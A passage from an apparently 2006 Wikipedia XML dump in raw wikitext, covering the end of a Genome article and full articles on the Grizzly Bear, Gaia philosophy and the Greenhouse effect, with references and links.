&lt;td&gt;8&amp;times;10&lt;sup&gt;7&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Insect]], ''[[Drosophila melanogaster]]''&lt;/td&gt;
&lt;td&gt;2&amp;times;10&lt;sup&gt;8&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Mammal]], ''[[Homo sapiens]]''&lt;/td&gt;
&lt;td&gt;3&amp;times;10&lt;sup&gt;9&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
''Note:'' The DNA from a single human cell has a length of ~1.8m.

==Genome evolution==
Genomes are more than the sum of an organism's genes and have traits that may be [[measure]]d and studied without reference to the details of any particular genes and their products.  Researchers compare traits such as [[karyotype|chromosome number]], [[genome size]], [[gene]] order, [[codon usage bias]], and [[GC-content]] to determine what mechanisms could have produced the great variety of genomes that exist today (for recent overviews, see Brown [[2002]]; Saccone and Pesole [[2003]]; Benfey and Protopapas [[2004]]; Gibson and Muse 2004; Reese 2004; Gregory [[2005]]).  

[[gene duplication|Duplications]] play a major role in shaping the genome.  Duplications may range from extension of [[short tandem repeats]], to duplication of a cluster of genes, and all the way to duplications of entire chromosomes or even [[polyploidy|entire genomes]].  Such duplications are probably fundamental to the creation of genetic novelty.

[[Horizontal gene transfer]] is invoked to explain how there is often extreme similarity between small portions of the genomes of two organisms that are otherwise very distantly related.  Horizontal gene transfer seems to be common among many [[microbe]]s.  Also, eukaryotic cells seem to have experienced a transfer of some genetic material from their [[chloroplast]] and [[mitochondria]]l genomes to their nuclear chromosomes.

== Other Omics &amp; Ome pages ==
* [[Genome]], [[Proteome]], [[Expressome]], [[Metabolome]], [[Regulome]], [[Functome]], [[Phenome]], [[Textome]]
* [[Mitochondriomics]], [[Golgiome]], [[Ligandomics]], [[Eukaryome]], [[Bacteriome]], [[Archaeome]]

== Subfields of Genome ==
* [[Human genome]], [[Mitochondriome]], [[Eukaryome]]

==References==

Benfey, P and Protopapas, AD (2004).  Essentials of Genomics.  Prentice Hall.

Brown, TA (2002).  Genomes 2.  Bios Scientific Publishers.

Gibson, G and Muse, SV (2004).  A Primer of Genome Science (Second Edition).  Sinauer Assoc.

Gregory, TR (ed) (2005).  [[The Evolution of the Genome]].  Elsevier.

Reece, RJ (2004). Analysis of Genes and Genomes. John Wiley &amp; Sons.

Saccone, C and Pesole, G (2003). Handbook of Comparative Genomics. John Wiley &amp; Sons.

==See also==
*[[Developmental biology]], [[evolution]], [[molecular systematics]], [[molecular evolution]], [[gene family]], [[gene]]

== External links ==

*[http://www.genomesize.com/ Animal genome size database]
*[http://www.rbgkew.org.uk/cval/homepage.html Plant genome size database]
*[http://www.genomesonline.org/ Genomes OnLine Database]
*[http://www.genomenewsnetwork.org/ The Genome News Network]
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    <title>Grizzly Bear</title>
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{{Taxobox
| color = pink
| name = Grizzly Bear
| status = {{StatusEndangered}}
| image = Grizzlybears ChrisServheenUSFWS.jpg
| image_width = 200px
| image_caption = Two Grizzly Bears in a meadow
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Ursidae]]
| genus = ''[[Ursus (biology)|Ursus]]''
| species = ''[[Brown Bear|U. arctos]]''
| subspecies = '''''U. a. horribilis'''''
| trinomial = ''Ursus arctos horribilis''
| trinomial_authority = ([[George Ord|Ord]], [[1815]])
}}

The '''Grizzly Bear''', sometimes called the '''Silvertip Bear''', has traditionally been treated as a [[subspecies]], ''Ursus arctos horribilis'', of the [[brown bear]] living in [[North America]]. However, DNA analysis has recently revealed that the subspecies of brown bears, both Eurasian and North American, are genetically quite homogeneous, and that their genetic [[phylogeography]] does not correspond to their traditional [[taxonomy]]. Therefore, the common name Grizzly Bear can be appropriately used to refer to interior North American Brown Bears, whereas the coastal bears of North America are referred to as Kodiak Bears or Kodiak Brown Bears, and those of Europe, the European Brown Bear.

[[Image:Grizzly Bear Yellowstone.jpg|left|thumb|Female Grizzly Bear in Yellowstone National Park, U.S.A.]]

Grizzly Bears reach weights of 180-680 kg (400-1500 lbs); the male is on average 1.8 times as heavy as the female, an example of [[sexual dimorphism]]. Their coloring ranges widely across geographic areas, from blond to deep brown or black. These differences, once attributed to subspeciation, are now thought to be primarily due to the different environments these bears inhabit, particularly with regard to diet and temperature.

The Grizzly has a large hump over the shoulders which is a muscle mass used to power the forelimbs in digging. The head is large and round with a concave facial profile. In spite of their massive size, these bears can run at speeds of up to 55 km/h (35 mph).

Normally a solitary, nocturnally active animal, in coastal areas the Grizzly congregates alongside streams and rivers during the salmon spawn. Every other year females (sows) produce 1-4 young (most commonly 2) which are small and weigh only about 500 g (1 pound). Sows are very protective of their offspring.

The current range of the Grizzly Bear extends from [[Alaska]], down through much of Western [[Canada]], and into the upper Northwestern United States including [[Idaho]], [[Montana]] and [[Wyoming]].

[[Image:Grizzly map.gif|right|thumb|Current and historical range of the Grizzly Bear in North America]]

==Diet==
Being omnivores, grizzlies feed on a variety of plants and berries including roots or sprouts and fungi, as well as fish, insects and small mammals.  The larger bears have been known to prey on large mammals such as moose, sheep and caribou.  Bears with access to a protein-rich diet, such as the coastal bears which feed on salmon, can grow much larger than their herbivorous cousins.

In preparation for winter, bears will gain hundreds of kilograms of fat before going into a state of [[hibernation|false hibernation]]. There is some debate amongst professionals as to whether or not Grizzly Bears technically hibernate. Much of this debate revolves around body temperature and the ability for the bears to move around during hibernation on occasion. One interesting adaptation is that Grizzly Bears have the ability to ''partially'' recycle their body wastes during this period. In some areas where food is plentiful all year round, Grizzly Bears will forgo hibernation altogether.

==Legal status==
The Grizzly Bear is listed as threatened in the [[Continental United States|contiguous United States]], and endangered in parts of [[Canada]]. It is currently slowly repopulating areas where it was previously extirpated.  On January 9, 2006, the US Fish and Wildlife service [http://news.fws.gov/NewsReleases/showNews.cfm?newsId=781C3C9B-65BF-03E7-2866F7DC447822A1 proposed] to remove Yellowstone grizzlies from the list of threatened and protected species.

Some biologists have argued that the word ''horribilis'' should be removed from the bear's taxonomic name, as its negative connotations may hinder conservation efforts.  This change would not be permitted by the [[International Code of Zoological Nomenclature]].

==In case of bear attack==
The best way to avoid injury from a bear attack is to avoid being attacked.  If you see a bear, leave it alone and leave the area.  Do not disturb or approach it.

However, if the bear advances upon you, it can be difficult to evade.  Bears can run much faster than humans, and they are better tree climbers as well.  Some travelers in bear country carry [[pepper spray]] or large caliber [[firearm]]s to repel or kill an attacking bear.

A frequent reason for a sow to attack a human is that the sow thinks the human is threatening its cubs.  In this case, the sow will attack to disable the threat and then typically leave.  Laying very still and feigning death has preserved the lives of people caught in such a situation.  Hungry or ill bears may attack humans for other reasons and should be expected to behave differently.

==Trivia==
[[Werner Herzog]]'s 2005 film ''[[Grizzly Man]]'' deals with the story of [[Timothy Treadwell]], a man who lived for over 13 years with Kodiak brown bears in Alaska.

==References==
#[http://www.sararegistry.gc.ca/virtual_sara/files/cosewic/sr_grizzly_bear_e.pdf Committee On The Status of Endangered Wildlife in Canada (COSEWIC) Assessment and Update Status Report on the Grizzly Bear ('''Ursus arctos''') in Canada, 2002]  2.1 MB PDF file.
#Cronin, M.A., Amstrup, S.C., Garner, G.W., and Vyse, E.R., 1991.  Interspecific and specific mitochondrial DNA variation in North American bears (''Ursus'').  ''Canadian Journal of Zoology'' 69: 2985-2992.
#Waits, L.P., Talbot, S.L., Ward, R.H., and Shields, G.F., 1998. Mitochondrial DNA phylogeography of the North American brown bear and implications for conservation. ''Conservation Biology'' 12: 408-417.
#[http://www.udap.com/markfullstory.htm Story of a Grizzly Attack], which inspired the victim to create a better bear-repellent pepper spray.  Commercial site with very graphic photographs of injury from bear attack.
#[http://www.bears.org/pipermail/bearfolks/2004-May/001298.html Pilkington, R.  Communication to Bearfolks internet mailing list, 2004.]

[[Category:Bears]]
[[Category:Fauna of Canada]]
[[Category:Fauna of the United States]]

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    <title>Gaia philosophy</title>
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'''Gaia philosophy''' (named after [[Gaia (mythology)|Gaia]], the Greek goddess of the [[Earth]]) is a broadly inclusive term for related concepts that living organisms on a [[planet]] will affect the nature of their environment&amp;nbsp;&amp;ndash; to make it more suitable for [[life]]. This set of [[Gaia theory (science)|theories]] holds that all organisms on a planet regulate the [[biosphere]] to the benefit of the whole. The Gaia concept draws a connection between the survivability of a species, (hence its [[evolutionary]] course) and their usefulness to the survival of other species.

While there were a number of precursors to [[Gaia theory (science)|Gaia theory]], the first scientific form of this idea was proposed as the [[Gaia Hypothesis]] by [[James Lovelock]], a UK chemist, in [[1970]].  The Gaia hypothesis deals with the concept of [[homeostasis]], and claim the resident life forms of a host planet coupled with their environment have acted and act as a single, self-regulating system. The system includes the near-surface rocks, the soil, and the atmosphere. While controversial at first, various forms of this idea became accepted to some degree by many within the scientific community.

These theories are also very significant in [[green politics]].

== Predecessors to the Gaia theory ==

There are some mystical, scientific and religious predecessors to the theory, which had a Gaia-like conceptual basis. Many religious mythologies had a view of Earth as being a whole that is greater than the sum of its parts (e.g. some Native American religions). 

[[Lewis Thomas]] held that Earth should be viewed as a single cell; he derived this view from [[Johannes Kepler]]'s view of Earth as a single round organism. [[Teilhard de Chardin]], a paleontologist and geologist, believes that evolution unfolded from cell to organism to planet to solar system and ultimately the whole universe, as we humans see it from our limited perspective. De Chardin later influenced [[Thomas Berry]] and many Catholic humanist thinkers of the 20th century. [[Buckminster Fuller]] is generally credited with making the idea respectable in Western scientific circles in the 20th century. Building to some degree on his observations and artifacts, e.g. the [[Dymaxion map]] of the Earth he created, others began to ask if there was a way to make Gaia theory scientifically sound.

None of these ideas are considered scientific hypotheses; by definition a scientific hypothesis must make testable predictions.  As the above claims are not testable, they are outsides the bounds of science.

These are conjectures and perhaps can only be considered as social and maybe political philosophy; they may have implications for theology.

== Range of views ==

Gaia theory is a spectrum of hypotheses, ranging from the undeniable to radical. At one end is the undeniable statement that the organisms on the Earth have radically altered its composition. A stronger position is that the Earth's biosphere effectively acts as if it is a self-organizing system which works in such a way as to keep its systems in some kind of equilibrium that is conducive to life. Biologists usually view this activity as an undirected [[emergent property]] of the ecosystem; as each individual species pursues its own self-interest, their combined actions tend to have counterbalancing effects on environmental change. Proponents of this view sometimes point to examples of life's actions in the past that have resulted in dramatic change rather than stable equilibrium, such as the conversion of the Earth's atmosphere from a reducing environment to an oxygen-rich one.

An even stronger claim is that all lifeforms are part of a single planetary being, called Gaia. In this view, the atmosphere, the seas, the terrestrial crust would be the result of interventions carried out by Gaia, through the [[coevolution|coevolving]] diversity of living organisms. Most scientists do not hold this view; however, such a view is considered within scientific possibility.

The most extreme form of Gaia theory is that the entire Earth is a single unified organism; in this view the Earth's biosphere is ''consciously'' manipulating the climate in order to make conditions more conducive to life. Scientists contend that there is no evidence at all to support this last point of view, and it has come about because many people do not understand the concept of [[homeostasis]]. Many non-scientists instinctively see homeostatis as an activity that requires conscious control, although this is not so.

The more speculative versions of Gaia, including versions in which it is held that the Earth is actually conscious and highly intelligent, are currently outside the bounds of science.

== Gaia in biology and science ==

''See the main article'' '''''[[Gaia theory (science)]]''''' for more.

[[Buckminster Fuller]] has been credited as the first to incorporate scientific ideas into a Gaia theory, which he did with his [[Dymaxion map of the Earth]].

The first scientifically rigorous theory was the [[Gaia Hypothesis]] by [[James Lovelock]], a UK chemist.  While controversial at first, various forms of this idea became accepted to some degree by many scientists.

A variant of this hypothesis was developed by [[Lynn Margulis]], a microbiologist, in [[1979]].  
Her version is sometimes called the &quot;Gaia Theory&quot; (note uppercase-T). Her model is more limited in scope than the one that Lovelock proposed.

Whether this sort of system is present on Earth is still open to debate. Some relatively simple homeostatic mechanisms are generally accepted. For example, when [[Earth's atmosphere|atmospheric]] [[carbon dioxide]] levels rise, plants are able to grow better and thus remove more carbon dioxide from the atmosphere, but the extent to which these mechanisms stabilize and modify the Earth's overall climate are not known.

The Gaia hypothesis is sometimes viewed from significantly different philosophical perspectives. Some environmentalists view it as an almost conscious process, in which the Earth's [[ecosystem]] is literally viewed as a single unified organism. Some evolutionary biologists, on the other hand, view it as an undirected [[emergent property]] of the ecosystem; as each individual species pursues its own self-interest, their combined actions tend to have counterbalancing effects on environmental change. Proponents of this view sometimes point to examples of life's actions in the past that have resulted in dramatic change rather than stable equilibrium, such as the conversion of the Earth's atmosphere from a reducing environment to an oxygen-rich one.

Depending on how strongly the case is stated, the hypothesis conflicts with mainstream [[neo-Darwinism]]. Most biologists would accept Daisyworld-style homeostasis as possible, but would not accept the idea that this equates to the whole biosphere acting as one organism.

A very small number of scientists, and a much larger number of environmental activists, claim that Earth's biosphere is ''consciously'' manipulating the climate in order to make conditions more conducive to life. Scientists contend that there is no evidence to support this belief, which has only come about because most people do not understand the concept of [[homeostasis]]: many non-scientists instinctively see homeostasis as an activity that requires conscious control, although this is not so. 
This leads to some confusion on both sides, and the labels [[mysticism]] and [[scientism]] are applied to some adherents of the theory.

== Gaia in the social sciences ==
{{sect-stub}}
A [[social science]] view of Gaia theory is the role of humans as a [[keystone species]] who may be able to accomplish global [[homeostasis]].

== Gaia in politics ==

Some radical political environmentalists who accept some form of the Gaia theory call themselves [[Gaian]]s. They actively seek to restore the Earth's homeostasis - whenever they see it out of balance, e.g. to prevent manmade [[climate change]], [[primate extinction]], or [[rainforest loss]]. In effect, they seek to cooperate to 'become' the &quot;system consciously manipulating to make conditions more conducive to life&quot;. Such activity 'defines' the homeostasis, but for leverage it relies on deep investigation of the homeorhetic balances, if only to find [[places to intervene in a system]] which is changing in undesirable ways.

Tony Bondhus brings up the point in his book, [http://conceivia.com/store/books/society-of-conceivia/ Society of Conceivia], that if Gaia is alive, than societies are living things as well. This suggests that our understanding of Gaia can be used to create a better society and to design a better political system.

[[Gaians]] are attempting to create a new ideology which fuses conclusions from science and politics; they see this as a [[protoscience]] of [[human ecology]]. These ideas include the idea of humans as the [[keystone species]], say act to prevent [[climate change]], [[primate extinction]], etc., and might deliberately maintain the balances of the entire [[biosphere]] with their own cognition.

One is not passively asking &quot;what is going on&quot;, but rather, &quot;what to do next&quot;, e.g. in [[terraforming]] or [[climate engineering]] or even on a small scale as [[gardening]]. Changes could thus be planned, consented to by many people, and very deliberate, as in [[urban ecology]] and especially [[industrial ecology]]. ''See [[arcology]] for more on this 'active' view.''

Gaians argue that it is a human [[duty]] to act as such - committing themselves in particular to the [[Precautionary Principle]]. Such views began to influence the [[Green Parties]], [[Greenpeace]], and a few more radical wings of the [[environmental movement]] such as the Gaia Liberation Front and the Earth Liberation Front. These views dominate some such groups, e.g. the [[Bioneers]]. Some refer to this political activity as a separate and radical branch of the [[ecology movement]], one that takes the axioms of the science of ecology in general, and Gaia theory in particular, and raises them to a kind of theory of [[personal conduct]] or [[moral code]].

NOTE: More to add in regards to (1) the terraforming of Mars as an &quot;offspring&quot; of Gaia, and (2) the Internet as the Gaian nervous system.

== Semantic debate ==

The question of &quot;what is an [[organism]]&quot; and at what scale is it rational to speak about organisms vs. biospheres, give rise to a semantic debate. We are all ecologies in the sense that our (human) bodies contain [[gut bacteria]], [[parasite]] species, etc., and to them our body is not organism but rather more of a [[microclimate]] or [[biome]]. Applying that thinking to whole planets:

The argument is that these symbiotic organisms, being unable to survive apart from each other and their climate and local conditions, form an organism in their own right, under a wider conception of the term organism than is conventionally used. It is a matter for often heated debate whether this is a valid usage of the term, but ultimately it appears to be a semantic dispute. In this sense of the word organism, it is argued under the theory that the entire biomass of the Earth is a single organism (as [[Johannes Kepler]] thought).

Unfortunately, many supporters of the various Gaia theories do not state exactly where they sit on this spectrum; this makes discussion and criticism difficult.

Much effort on behalf of those analyzing the theory currently is an attempt to clarify what these different hypotheses are, and whether they are proposals to 'test' or 'manipulate' outcomes. Both Lovelock's and Margulis's understanding of Gaia are considered valid scientific theories, and are now a part of [[biology]] proper.

More speculative versions of Gaia, including all versions in which it is held that the Earth is actually conscious, are currently held to be outside the bounds of science. The views of self-proclaimed political [[Gaians]] are in this category.

==Other Notes==
At least one work of fiction, the film ''[[Final Fantasy: The Spirits Within]]'', uses [[Gaia philosophy]] as a central point to the plot, and may arguably represent a fictional parallel to [[James Lovelock|Sir James Lovelock]] in the character of Dr. Sid, who is met with skepticism from the scientific and social community when he promotes the idea of a &quot;living Earth&quot;. In the film, Dr. Sid attempts to create a &quot;waveform&quot; from the positive energy signature of the Earth's spirit, in order to combat the films antagonists, the negative energy &quot;Phantoms&quot;, through use of [[phase inversion]] canceling.

== See also==

* [[Arcology]]
* [[Climate engineering]]
* [[Gaia hypothesis]] (James Lovelock's ideas)
* [[Gardening]]
* [[Industrial ecology]]
* [[James Kirchner]]
* [[Keystone species]]
* [[Odic force]]
* [[Places to intervene in a system]]
* [[Technogaianism]]
* [[Urban ecology]]

== External links ==

* [http://www.oceansonline.com/gaiaho.htm The Gaia Hypothesis]
* [http://www.colorado.edu/iec/FALL299RW/eco.html Gaia: Argument over a single word]
* [http://conceivia.com/store/books/society-of-conceivia/ Society of Conceivia] (book)

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  <page>
    <title>Greenhouse effect</title>
    <id>12395</id>
    <revision>
      <id>42136818</id>
      <timestamp>2006-03-04T01:41:17Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">The '''greenhouse effect''', first discovered by [[Joseph Fourier]] in [[1824]], and quantified by [[Svante Arrhenius]] in 1896, is the process by which an [[celestial body atmosphere|atmosphere]] warms a [[planet]]. 

[[Mars (planet)|Mars]], [[Venus (planet)|Venus]] and other celestial bodies with atmospheres (such as [[Titan (moon)|Titan]]) have greenhouse effects, but for simplicity the rest of this article will refer to the case of [[Earth]].

In common parlance, the term ''greenhouse effect'' may be used to refer either to the the natural greenhouse effect, which is the greenhouse effect which occurs naturally on Earth, or to the enhanced (anthropogenic) greenhouse effect, which results from human activities (see also [[global warming]]). The former is accepted by all; the latter is [[scientific opinion on climate change|accepted by most scientists]], although there is [[attribution of recent climate change|some dispute]].

==The natural greenhouse effect==
===Process===
The [[Earth]] receives an enormous amount of [[solar radiation]].  Just above the atmosphere, the solar power flux density averages about [[solar constant|1366]] [[watt]]s per [[square meter]], or [[orders of magnitude (power)|1.740×10{{sup|17}}]] W [[insolation|over the entire Earth]].  This figure ''vastly'' exceeds the power generated by human activities.

The solar power hitting Earth is balanced over time by a roughly equal amount of power radiating from the Earth (as the amount of energy from the Sun that is stored is small). Almost all radiation leaving the Earth takes two forms: reflected [[solar radiation]] and thermal [[blackbody]] radiation.

[[Image:MODIS ATM solar irradiance.jpg|thumb|350px||[[Solar radiation]] at top of atmosphere and at Earth's surface.]]

Reflected solar radiation accounts for 30% of the Earth's total radiation: on average, 6% of the incoming solar radiation is reflected by the atmosphere, 20% is reflected by clouds, and 4% is reflected by the surface.

The remaining 70% of the incoming solar radiation is absorbed: 16% by the atmosphere (including the almost complete absorption of shortwave [[ultraviolet]] over most areas by the stratospheric [[ozone layer]]); 3% by clouds; and 51% by the land and oceans. This absorbed energy heats the atmosphere, oceans, land and powers life on the planet.

Like the Sun, the Earth is a thermal blackbody radiator. So because the Earth's surface is much cooler than the Sun (287 K vs 5780 K), [[Wien's displacement law]] dictates that Earth must radiate its thermal energy at much longer wavelengths than the Sun. While the Sun's radiation peaks at a visible wavelength of 500 nanometers, Earth's radiation peak is in the longwave (far) [[infrared]] at about 10 micrometres.

[[Image:Atmospheric absorption.png|thumb|right|350px|Atmospheric absorption of various wavelengths of [[electromagnetic spectrum|electromagnetic radiation]] (measured along sea level).]]

The Earth's atmosphere is largely transparent at visible and near-infrared wavelengths, but not at 10 micrometres. Only about 6% of the Earth's total radiation to space is direct thermal radiation from the surface. The atmosphere absorbs 71% of the surface thermal radiation before it can escape. The atmosphere itself behaves as a blackbody radiator in the far infrared, so it re-radiates this energy.

The Earth's atmosphere and clouds therefore account for 91.4% of its longwave infrared radiation and 64% of Earth's total emissions at all wavelengths. The atmosphere and clouds get this energy from the solar energy they directly absorb; thermal radiation from the surface; and from heat brought up by convection and the condensation of water vapor.

Because the atmosphere is such a good absorber of longwave infrared, it effectively forms a one-way blanket over Earth's surface. Visible and near-visible radiation from the Sun easily gets through, but thermal radiation from the surface can't easily get back out. In response, Earth's surface warms up. The power of the surface radiation increases by the [[Stefan-Boltzmann law]] until it (over time) compensates for the atmospheric absorption.

The surface of the Earth is in constant flux with daily, yearly, and ages long cycles and trends in temperature and other variables from a variety of causes.

The result of the greenhouse effect is that average surface temperatures are considerably higher than they would otherwise be if the Earth's surface temperature were determined solely by the [[albedo]] and blackbody properties of the surface.

It is commonplace for simplistic descriptions of the &quot;greenhouse&quot; effect to assert that the same mechanism warms greenhouses (e.g. [http://www.epa.gov/globalwarming/kids/greenhouse.html]), but this is an incorrect oversimplification: see below.

===Limiting factors===
The degree of the greenhouse effect is dependent primarily on the concentration of [[greenhouse gas]]es in the planetary atmosphere. The deep and [[carbon dioxide]]-rich atmosphere of [[Venus (planet)|Venus]] causes a ''runaway greenhouse effect'' with surface temperatures hot enough to melt [[lead]], the atmosphere of [[Earth]] creates habitable temperatures, and the thin atmosphere of [[Mars (planet)|Mars]] causes a minimal greenhouse effect.

The use of the term ''runaway'' greenhouse effect to describe the effect as it occurs on Venus emphasises the interaction of the greenhouse effect with other processes in [[feedback|feedback cycles]].  Venus is sufficiently strongly heated by the Sun that [[water]] is vaporised and so [[carbon dioxide]] is not reabsorbed by the planetary crust.  As a result, the greenhouse effect has been progressively intensified by positive feedback.  On Earth there is a substantial [[hydrosphere]] and [[biosphere]] which respond to higher temperatures by recycling atmospheric [[carbon]] more quickly (in geologic terms; the timescale for the ocean/biosphere to remove a CO&lt;sub&gt;2&lt;/sub&gt; perturbation is on the order of several hundred years).  The presence of liquid water thus limits the increase in the greenhouse effect through negative feedback.  This state of affairs is expected to persist for at least hundreds of millions of years, but, ultimately, the [[Sun#The_Death_of_Sol|warming of an aging Sun]] will overwhelm this regulatory effect.

The average surface temperature would be -18°C without a greenhouse effect or 72°C with just the greenhouse effect and no convection, but in reality this temperature is closer to 15°C due to convective flow of heat energy within the atmosphere and partly above much of the thermal IR absorbence of the atmosphere. [http://eaps.mit.edu/faculty/lindzen/cooglobwrm.pdf]

Recent measurements of [[carbon dioxide]] amounts from Mauna Loa observatory show that CO&lt;sub&gt;2&lt;/sub&gt; has increased from about 313 ppm (parts per million) in 1960 to about 375 ppm in 2005. The current observed amount of CO&lt;sub&gt;2&lt;/sub&gt; exceeds the geological record of CO&lt;sub&gt;2&lt;/sub&gt; maxima (~300 ppm) from ice core data (Hansen, J., Climate Change, '''61''', 269, 2005).  This suggests that the CO&lt;sub&gt;2&lt;/sub&gt; production rate from increased industrial activity (automobile use and fossil fuel generation) and other human activities such as land-use changes has overwhelmed the normal feedback control mechanisms.  Global climate model calculations indicate that the elevated CO&lt;sub&gt;2&lt;/sub&gt; levels are likely to lead to global warming.  There has been an observed global average temperature increase of about 0.5&lt;sup&gt;o&lt;/sup&gt;C since 1960 (Science '''308''', 1431, 2005).  There is still some public controversy about the role of human activities and that of CO&lt;sub&gt;2&lt;/sub&gt; and other greenhouse gas increases for global warming.

===The greenhouse gases===
[[water|Water vapor]] (H&lt;SUB&gt;2&lt;/SUB&gt;O) causes about 60% of Earth's naturally-occurring greenhouse effect. Other gases influencing the effect include [[carbon dioxide]] (CO&lt;SUB&gt;2&lt;/SUB&gt;) (about 26%), [[methane]] (CH&lt;SUB&gt;4&lt;/SUB&gt;), [[nitrous oxide]] (N&lt;SUB&gt;2&lt;/SUB&gt;O) and [[ozone]] (O&lt;SUB&gt;3&lt;/SUB&gt;) (about 8%). Collectively, these gases are known as [[greenhouse gas]]es. The greenhouse effect due to carbon dioxide is specifically known as the [[Callendar effect]].

The wavelengths of [[light]] that a [[gas]] absorbs can be modelled with [[quantum mechanics]] based on molecular properties of the different gas [[molecules]]. It so happens that heteronuclear diatomic molecules and tri- (and more) atomic gases absorb at infrared wavelengths but homonuclear diatomic molecules do not absorb infrared light. This is why H&lt;sub&gt;2&lt;/sub&gt;O and CO&lt;sub&gt;2&lt;/sub&gt; are greenhouse gases but the major atmospheric constituents (N&lt;sub&gt;2&lt;/sub&gt; and O&lt;sub&gt;2&lt;/sub&gt;) are not.

Between the absorptions of water vapor and those of carbon dioxide, there is an [[atmospheric window]] where, prior to the industrial era, ''no infrared radiation was trapped'', lying between 8 and 15 [[micrometres]]. Compounds such as perflurocarbons (CF&lt;sub&gt;4&lt;/sub&gt;, C&lt;sub&gt;2&lt;/sub&gt;F&lt;sub&gt;6&lt;/sub&gt; etc.), [[CFCs|chlorofluorocarbons]], [[halons]] and SF&lt;sub&gt;6&lt;/sub&gt; absorb very strongly in this window. This means that they are extremely potent greenhouse gases, especially given the absence of natural sinks to remove them. Perfluorocarbons can have a lifetime of 50,000 years, possibly longer.

==Effects of various gases==
It is hard to disentangle the percentage contributions to the greenhouse effect by different gases, because their respective infrared spectrums overlap. However, one can calculate the percentage of trapped radiation remaining, and discover:
&lt;center&gt;
{|border=0
!Species&lt;br&gt; removed  
! % trapped radiation&lt;br&gt; remaining
|-
| All  ||  0
|-
| H&lt;sub&gt;2&lt;/sub&gt;O, CO&lt;sub&gt;2&lt;/sub&gt;, O&lt;sub&gt;3&lt;/sub&gt; || 50
|-
| H&lt;sub&gt;2&lt;/sub&gt;O ||  64
|-
| Clouds  ||  86
|-
| CO&lt;sub&gt;2&lt;/sub&gt;  || 88
|-
| O&lt;sub&gt;3&lt;/sub&gt;  || 97
|-
| None  || 100 
|}
&lt;/center&gt;
(Source: Ramanathan and Coakley, Rev. Geophys and Space Phys., 16 465 (1978)); see also [http://www.realclimate.org/index.php?p=142].

===Water vapor effects===
[[Water vapor]] is the major contributor to Earth's greenhouse effect.  Its effects vary due to localized concentrations, mixture with other gases, frequencies of light, different behavior in different levels of the atmosphere, and whether positive or negative feedback takes place.  High humidity also affects cloud formation, which has major effects upon temperature but is distinct from water vapor gas.

The IPCC TAR (2001; section 2.5.3) reports that, despite non-uniform effects and difficulties in assessing the quality of the data, water vapor has generally increased over the 20th Century.

Estimates of the percentage of Earth's greenhouse effect due to water vapor:
* 36% (table above)
* 60-70% Nova. ''Greenhouse - Green Planet'' [http://www.pbs.org/wgbh/nova/ice/greenhouse.html]

Including clouds, the table above would suggest 50%. For the cloudless case, [[IPCC]] 1990, p 47-48 estimate water vapor at 60-70% whereas Baliunas &amp; Soon estimate 88% [http://www.greeningearthsociety.org/climate/previous_issues/vol4/v4n19/cutting1.htm] considering only H&lt;sub&gt;2&lt;/sub&gt;O and CO&lt;sub&gt;2&lt;/sub&gt;.
Water vapor in the [[troposphere]], unlike the better-known greenhouse gases such as CO&lt;sub&gt;2&lt;/sub&gt;, is essentially passive in terms of climate: the residence time for water vapor in the atmosphere is short (about a week) so perturbations to water vapor rapidly re-equilibriate. In contrast, the lifetimes of CO&lt;sub&gt;2&lt;/sub&gt;, methane, etc, are long (hundreds of years) and hence perturbations remain. Thus, in response to a temperature perturbation caused by enhanced CO&lt;sub&gt;2&lt;/sub&gt;, water vapor would increase, resulting in a (limited) positive feedback and higher temperatures. In response to a perturbation from enhanced water vapor, the atmosphere would re-equilibriate due to clouds causing reflective cooling and water-removing rain. The [[contrail]]s of high-flying [[aircraft]] sometimes form high clouds which seem to slightly alter the local weather.

==Real greenhouses==
The term 'greenhouse effect' originally came from the greenhouses used for gardening, but it is a misnomer since greenhouses operate differently [http://www.ems.psu.edu/~fraser/Bad/BadGreenhouse.html] [http://www.wmconnolley.org.uk/sci/wood_rw.1909.html]. A greenhouse is built of glass; it heats up primarily because the Sun warms the ground inside it, which warms the air near the ground, and this air is prevented from rising and flowing away. The warming inside a greenhouse thus occurs by suppressing convection and turbulent mixing. This can be demonstrated by opening a small window near the roof of a greenhouse: the temperature will drop considerably. It has also been demonstrated experimentally (Wood, 1909): a &quot;greenhouse&quot; built of rock salt (which is transparent to IR) heats up just as one built of glass does. Greenhouses thus work primarily by preventing ''[[convection]]''; the greenhouse effect however reduces ''radiation loss'', not convection. It is quite common, however, to find sources (e.g. 
[http://pangea.stanford.edu/courses/gp025/webbook/07_clement.html] [http://www.ngdc.noaa.gov/paleo/globalwarming/greeneffect.html]) that make the &quot;greenhouse&quot; analogy. Although the primary mechanism for warming greenhouses is the prevention of mixing with the free atmosphere, the radiative properties of the glazing can still be important to commercial growers. With the modern development of new plastic surfaces and glazings for greenhouses, this has permitted construction of greenhouses which selectively control radiation transmittance in order to better control the growing environment.[http://ag.arizona.edu/ceac/research/archive/HortGlazing.pdf].

==See also==
* [[Global warming]]
* [[Climate forcing]]
* [[Climate sensitivity]]
* [[Emissions trading]]
* [[Kyoto Protocol]]

==References==
* Earth Radiation Budget, http://marine.rutgers.edu/mrs/education/class/yuri/erb.html
* Fleagle, RG and Businger, JA: An introduction to atmospheric physics, 2nd edition, 1980
* Fraser, Alistair B., Bad Greenhouse http://www.ems.psu.edu/~fraser/Bad/BadGreenhouse.html
* Giacomelli, Gene A. and William J. Roberts1, Greenhouse Covering Systems, Rutgers University, downloaded from: http://ag.arizona.edu/ceac/research/archive/HortGlazing.pdf on 3-30-2005.
* [[Ann Henderson-Sellers]] and McGuffie, K: A [[climate model]]ling primer (quote: ''Greenhouse effect: the effect of the atmosphere in re-readiating longwave radiation back to the surface of the Earth. It has nothing to do with glasshouses, which trap warm air at the surface'').
* Idso, S.B.: Carbon Dioxide: friend or foe, 1982 (quote: ''...the phraseology is somewhat in appropriate, since CO2 does not warm the planet in a manner analogous to the way in which a greenhouse keeps its interior warm'').
* Kiehl, J.T., and Trenberth, K. (1997). Earth's annual mean global energy budget, ''Bulletin of the [[American Meteorological Society]]'' '''78''' (2), 197&amp;ndash;208.
